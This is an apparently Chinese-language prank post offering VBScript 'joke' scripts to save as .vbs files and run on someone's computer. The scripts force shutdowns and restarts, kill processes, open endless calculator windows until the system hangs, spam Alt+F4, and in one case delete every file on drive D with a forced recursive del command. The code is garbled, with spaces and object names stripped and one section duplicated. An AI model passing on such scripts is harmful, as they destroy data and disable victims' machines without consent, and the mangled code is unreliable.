整人
以下是小编整理的几个整人代码，操作如下：
第一步：新建文本文档
新建
第二步：粘贴代码
粘贴代码
第三步：文件另存为VBS文件
另存为VBS文件
整蛊一：pin气检测
msgbox"pin气检测开始！！",48
msgbox"Areyouapinjia?",vbyesno+64,"xxx制作~"
ifmsgbox("由于你的pin气太大，严重干扰系统的正常工作，所以立即重启···",vbokcancel+48)=vbokthen
msgbox"系统招架不住啊！！！！",48+4096
SetobjShell=CreateObject("")
"shutdown-s-t30-c这孩子pin气大大滴好！！！",,true
else
SetobjShell=CreateObject("")
"taskkill/f/",,true
whiletrue
msgbox"真傻~",48
w
if
整蛊二：做我女友，关机
msgbox("做我女朋友好不好？")
msgbox("我爱你很久了")
msgbox("请你不要拒绝我")
msgbox("你拒绝我我就关你电脑")
x=msgbox("做我女朋友好不好",VbOkCancel)
ifx=VbOkthen
msgbox("我也爱你么么哒~")
elseifx=Vbcancelthen
msgbox("电脑正在关机，再见！")
setws=createobject("")
"/cshutdown-s-f-t0"
if
哈哈
整蛊三：快说是猪不然就关机
onerrorresumenext
dimWSHshellA
setWSHshellA=("")
"/cshutdown-r-t60-c""说我不是猪才怪，不说我不是猪才怪就一分钟关你机，不信，试试···""",0,true
dima
dowhile(a"我是猪")
a=inputbox("说我是猪,就不关机，快说，说""我是猪""","说不说","不说",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"
loop
msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"
dimWSHshell
setWSHshell=("")
"/cshutdown-a",0,true
msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈，真过瘾"
整蛊四：打开无数个计算器，直到死机
setwsh=createobject("")
do
"calc"
loop
整蛊五：直接关机
setwsh=createobject("")
do
"calc"
loop
整蛊六：删除D:\所有文件
dimWSHshell
setWSHshell=("")
"cmd/c""deld:\*.*/f/q/s""",0,true
整蛊七：不断按下alt+f4
DimWSHshell
SetWSHshell=('")
while(l)
"%{F4}"
loop
气死你
更多整蛊代码请私信小编或加私聊小编